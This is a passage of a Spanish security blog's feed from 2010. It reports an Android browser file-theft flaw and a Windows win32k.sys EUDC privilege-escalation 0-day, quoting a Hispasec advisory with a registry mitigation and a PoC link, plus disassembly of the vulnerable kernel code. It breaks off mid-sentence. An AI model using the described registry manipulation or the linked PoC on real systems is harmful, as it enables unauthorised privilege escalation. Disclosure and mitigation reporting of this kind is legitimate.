href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1545935#msg1545935&quot; target=&quot;_blank&quot;&gt;JawBreaker &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1545953#msg1545953&quot; target=&quot;_blank&quot;&gt;DLL Genius&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546054#msg1546054&quot; target=&quot;_blank&quot;&gt;Neural&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546097#msg1546097&quot; target=&quot;_blank&quot;&gt;CryptHunt&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546114#msg1546114&quot; target=&quot;_blank&quot;&gt;TurboTron computer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546175#msg1546175&quot; target=&quot;_blank&quot;&gt;HearBlocdenotas&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546243#msg1546243&quot; target=&quot;_blank&quot;&gt;hK 2.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1546567#msg1546567&quot; target=&quot;_blank&quot;&gt;Mejor Combinacion&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1547561#msg1547561&quot; target=&quot;_blank&quot;&gt;Soft game map 1.0a&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1547766#msg1547766&quot; target=&quot;_blank&quot;&gt;MintDex&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548182#msg1548182&quot; target=&quot;_blank&quot;&gt;EdHex&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548293#msg1548293&quot; target=&quot;_blank&quot;&gt;WS Downloader&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548587#msg1548587&quot; target=&quot;_blank&quot;&gt;RCBluetooth&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548600#msg1548600&quot; target=&quot;_blank&quot;&gt;Notas por red&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548740#msg1548740&quot; target=&quot;_blank&quot;&gt;Leviathan&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548847#msg1548847&quot; target=&quot;_blank&quot;&gt;rcalc&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1548946#msg1548946&quot; target=&quot;_blank&quot;&gt;FrogCheat v1.1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1549104#msg1549104&quot; target=&quot;_blank&quot;&gt;QtPassGen Version 2.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://foro.elhacker.net/programacion_general/ehndev_2010_concurso_de_desarrollo_de_aplicaciones_hilo_oficial-t308347.0.html;msg1549160#msg1549160&quot; target=&quot;_blank&quot;&gt;PyMSE&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/7775363096006604200/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/ehn-dev-2010-concurso-de-desarrollo-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7775363096006604200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/7775363096006604200'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/ehn-dev-2010-concurso-de-desarrollo-de.html' title='[Ehn-Dev 2010] - Concurso de desarrollo de aplicaciones @ elhacker.net'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_z9kbRdkXfns/TPRXqCykf2I/AAAAAAAAAAM/aPJsYf5g36c/s72-c/sinttulo1ku.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-4078290816040695774</id><published>2010-11-26T16:21:00.002-03:00</published><updated>2010-11-27T20:55:06.211-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Android"/><title type='text'>Grave fallo en Android</title><content type='html'>Un fallo que permite que podría permitir al atacante obtener cualquier fichero en principio de la tarjeta SD, pero también podría utilizarse para obtener información y datos alojados en el movil. &lt;br /&gt;&lt;br /&gt;Características de la vulnerabilidad:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;El navegador no pregunta donde descargar el archivo, automáticamente se descarga en &lt;b&gt;&lt;code&gt;&quot;/sdcard/download/payload.html&quot;.&lt;br /&gt;&lt;/code&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Sabiendo lo anterior, utilizando javascript podemos abrir el archivo malicioso logrando que el navegador muestre el archivo local.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Al abrir un archivo HTML dentro del contexto local, el navegador ejecuta javascript sin advertir al usuario.&lt;/li&gt;&lt;/ul&gt;Vídeo demostración después del salto.&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;iframe frameborder=&quot;0&quot; height=&quot;270&quot; src=&quot;http://player.vimeo.com/video/17030639&quot; width=&quot;400&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fuente: &lt;a href=&quot;http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/&quot;&gt;Android Data Stealing Vulnerability&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/4078290816040695774/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/grave-fallo-en-android.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/4078290816040695774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/4078290816040695774'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/grave-fallo-en-android.html' title='Grave fallo en Android'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-2067763079917048714</id><published>2010-11-26T13:26:00.001-03:00</published><updated>2010-11-26T13:27:50.842-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="0 day"/><category scheme="http://www.blogger.com/atom/ns#" term="UAC"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows 7"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows Vista"/><title type='text'>Demostración de la escalada de privilegios en Windows Vista/7 (UAC) en video</title><content type='html'>&lt;div align=&quot;center&quot;&gt;&lt;object data=&quot;http://www.exploit-db.com/movies/uacvideo.swf&quot; height=&quot;640&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;480&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.exploit-db.com/movies/uacvideo.swf&quot; /&gt;&lt;param name=&quot;wmode&quot; value=&quot;transparent&quot; /&gt;&lt;/object&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/2067763079917048714/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/demostracion-de-la-escalada-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/2067763079917048714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/2067763079917048714'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/11/demostracion-de-la-escalada-de.html' title='Demostración de la escalada de privilegios en Windows Vista/7 (UAC) en video'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-1471289969203493775</id><published>2010-11-25T14:43:00.001-03:00</published><updated>2010-11-25T15:58:13.393-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="0 day"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>0 day: Elevación de privilegios en Microsoft Windows</title><content type='html'>Se ha públicado un nuevo 0 day en Microsoft Windows que permite a un &lt;br /&gt;usuario local obtener privilegios de SYSTEM (control total sobre el &lt;br /&gt;sistema) eludiendo cualquier control de usuario. &lt;br /&gt;&lt;br /&gt;Los detalles técnicos se han hecho públicos, así como el código fuente y &lt;br /&gt;el programa necesarios para aprovechar el fallo. El exploit se aprovecha &lt;br /&gt;de la forma en la que el controlador win32k.sys procesa ciertos valores &lt;br /&gt;del registro. En concreto, el exploit manipula el valor &lt;br /&gt;SystemDefaultUEDCFont del registro y activa el soporte para EUDC &lt;br /&gt;(End-User-Defined-Characters) a través de la función EnableEUDC. &lt;br /&gt;&lt;br /&gt;Esto quiere decir que el atacante debe crear una clave en el registro &lt;br /&gt;donde un usuario no administrador tiene privilegios para hacerlo. Luego &lt;br /&gt;intenta leerla, provoca el fallo en el driver y obtiene los privilegios. &lt;br /&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;-----BEGIN PGP SIGNED MESSAGE-----&lt;br /&gt;Hash: SHA1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------&lt;br /&gt;&amp;nbsp; Hispasec - una-al-día&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 25/11/2010&lt;br /&gt;&amp;nbsp; Todos los días una noticia de seguridad&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; www.hispasec.com&lt;br /&gt;&amp;nbsp;-------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&amp;nbsp;0 day: Elevación de privilegios en Microsoft Windows&lt;br /&gt;&amp;nbsp;----------------------------------------------------&lt;br /&gt;&lt;br /&gt;Se ha públicado un nuevo 0 day en Microsoft Windows que permite a un &lt;br /&gt;usuario local obtener privilegios de SYSTEM (control total sobre el &lt;br /&gt;sistema) eludiendo cualquier control de usuario. &lt;br /&gt;&lt;br /&gt;Los detalles técnicos se han hecho públicos, así como el código fuente y &lt;br /&gt;el programa necesarios para aprovechar el fallo. El exploit se aprovecha &lt;br /&gt;de la forma en la que el controlador win32k.sys procesa ciertos valores &lt;br /&gt;del registro. En concreto, el exploit manipula el valor &lt;br /&gt;SystemDefaultUEDCFont del registro y activa el soporte para EUDC &lt;br /&gt;(End-User-Defined-Characters) a través de la función EnableEUDC. &lt;br /&gt;&lt;br /&gt;Esto quiere decir que el atacante debe crear una clave en el registro &lt;br /&gt;donde un usuario no administrador tiene privilegios para hacerlo. Luego &lt;br /&gt;intenta leerla, provoca el fallo en el driver y obtiene los privilegios. &lt;br /&gt;La prueba de concepto utiliza esta clave: &lt;br /&gt;&lt;br /&gt;HKEY_USERS\[SID DEL USUARIO]\EUDC &lt;br /&gt;&lt;br /&gt;La prueba de concepto funciona perfectamente en Windows Vista, 7 y 2008 &lt;br /&gt;totalmente parcheados. Tanto si el usuario pertenece al grupo de &lt;br /&gt;usuarios como al de administradores (incluso con la protección UAC &lt;br /&gt;activa), se obtendrán privilegios sin ningún tipo de advertencia por &lt;br /&gt;parte de Windows y por supuesto, sin necesidad de conocer la contraseña. &lt;br /&gt;&lt;br /&gt;En Windows XP, la prueba de concepto no funciona (no existe por defecto &lt;br /&gt;esa rama del registro) pero es posible que la vulnerabilidad también le &lt;br /&gt;afecte. La prueba de concepto no es detectada por ningún motor en estos &lt;br /&gt;momentos: &lt;a href=&quot;http://www.virustotal.com/file-scan/report.html?id=59260532fe33547420613b0aa7b001aed3f565201e50f91558a16cf7465775f6-1290672402&quot;&gt;VirusTotal&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para que este fallo fuese aprovechado por un atacante o malware, primero &lt;br /&gt;debería acceder al sistema por cualquier otro medio y encontrarse con &lt;br /&gt;que no puede realizar los cambios que desea a causa de los permisos. &lt;br /&gt;Realmente, este no suele ser un impedimento para el malware masivo &lt;br /&gt;(puesto que el usuario medio suele o bien obviar el UAC o bien &lt;br /&gt;deshabilitarlo o bien en XP pertenecer al grupo de administradores). Sí &lt;br /&gt;que es posible que este fallo sea usado en ataques dirigidos o entornos &lt;br /&gt;profesionales, donde los usuarios de escritorio suelen tener privilegios &lt;br /&gt;limitados en el dominio. &lt;br /&gt;&lt;br /&gt;Con este fallo, ya son dos problemas de elevación de privilegios que &lt;br /&gt;Microsoft debe arreglar. El fallo anterior fue descubierto en el cuerpo &lt;br /&gt;del famoso troyano Stuxnet. A través del programador de tareas, el &lt;br /&gt;malware era capaz de elevar privilegios en el equipo infectado. Hace &lt;br /&gt;algunos días los detalles de esta vulnerabilidad también se hicieron &lt;br /&gt;públicos. &lt;br /&gt;&lt;br /&gt;El equipo de seguridad de Microsoft ha declarado en su twitter que está &lt;br /&gt;investigando el asunto. Un método para prevenir el problema hasta que &lt;br /&gt;exista parche oficial es limitar los permisos del usuario en la rama &lt;br /&gt;&lt;br /&gt;HKEY_USERS\[SID DEL USUARIO]\EUDC &lt;br /&gt;&lt;br /&gt;En el registro, se debe negar el permiso de escritura a los usuarios no &lt;br /&gt;administradores. Gráficamente, es sencillo (localizar el SID del &lt;br /&gt;usuario, botón derecho sobre la rama del registro y denegar). &lt;br /&gt;&lt;br /&gt;Para automatizar el proceso, aconsejamos (aunque puede tener efectos &lt;br /&gt;secundarios, hágalo bajo su responsabilidad) utilizar subinacl.exe, una &lt;br /&gt;herramienta oficial de Microsoft descargable desde &lt;a href=&quot;http://www.microsoft.com/downloads/en/details.aspx?FamilyID=e8ba3e56-d8fe-4a91-93cf-ed6985e3927b&quot;&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Una vez instalada, localizar el SID del usuario (normalmente terminará &lt;br /&gt;en 1000) y el nombre de máquina y usuario con el comando: &lt;br /&gt;&lt;br /&gt;whoami /user: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;INFORMACIÓN DE USUARIO &lt;br /&gt;&amp;nbsp;---------------------- &lt;br /&gt;&lt;br /&gt;Nombre de usuario SID &lt;br /&gt;============================================== &lt;br /&gt;ordenador\usuario S-1-5-21-123456789-12345677889-123445678990-1000 &lt;br /&gt;&lt;br /&gt;y ejecutar: &lt;br /&gt;&lt;br /&gt;subinacl.exe /subkeyreg &quot;HKEY_USERS\ &lt;br /&gt;S-1-5-21-123456789-12345677889-123445678990-1000\EUDC /deny= &lt;br /&gt;ordenador\usuario=w &lt;br /&gt;&lt;br /&gt;Esto evitará que el usuario pueda escribir en esa rama y por tanto la &lt;br /&gt;prueba de concepto no funcionará. Repetir para el resto de usuarios en &lt;br /&gt;el equipo si los hubiera. &lt;br /&gt;&lt;br /&gt;Opina sobre esta noticia: &lt;br /&gt;http://www.hispasec.com/unaaldia/4415/comentar&lt;br /&gt;&lt;br /&gt;Más información:&lt;br /&gt;&lt;br /&gt;POC:&lt;br /&gt;http://www.exploit-db.com/sploits/uacpoc.zip&lt;br /&gt;&lt;br /&gt;We &#39;re investigating public PoC for a local EoP vuln requiring an&lt;br /&gt;account on the target system&lt;br /&gt;http://twitter.com/msftsecresponse&lt;/blockquote&gt;Fuente &lt;a href=&quot;http://www.hispasec.com/unaaldia/4415/&quot;&gt;Hispasec&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;El articulo de &lt;a href=&quot;http://www.codeproject.com/&quot;&gt;CodeProject&lt;/a&gt; (que luego fue movido):&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Introduction&lt;br /&gt;&lt;br /&gt;I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.&lt;br /&gt;&lt;br /&gt;The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.&lt;br /&gt;Using the code&lt;br /&gt;&lt;br /&gt;In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys-&amp;gt;NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.&lt;br /&gt;Collapse&lt;br /&gt;&lt;br /&gt;.text:BF81BA91&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Environment&lt;br /&gt;.text:BF81BA92&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Context&lt;br /&gt;.text:BF81BA93&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable&lt;br /&gt;.text:BF81BA98&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; edi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; Path&lt;br /&gt;.text:BF81BA99&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [ebp+DestinationString]&lt;br /&gt;.text:BF81BA9C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; RelativeTo&lt;br /&gt;.text:BF81BA9D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable&lt;br /&gt;.text:BF81BAA3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h&lt;br /&gt;.text:BF81BAAD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; &quot;SystemDefaultEUDCFont&quot;&lt;br /&gt;.text:BF81BAB7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax&lt;br /&gt;.text:BF81BABC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi&lt;br /&gt;.text:BF81BAC2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi&lt;br /&gt;.text:BF81BAC8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi&lt;br /&gt;.text:BF81BACE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword_BFA198FC, esi&lt;br /&gt;.text:BF81BAD4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword_BFA19900, esi&lt;br /&gt;.text:BF81BADA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dword_BFA19904, esi&lt;br /&gt;.text:BF81BAE0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)&lt;br /&gt;.text:BF81BAE6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [ebp+var_8], eax&lt;br /&gt;&lt;br /&gt;Stack trace shows the calling process is as follows:&lt;br /&gt;&lt;br /&gt;GDI32.EnableEUDC -&amp;gt;&lt;br 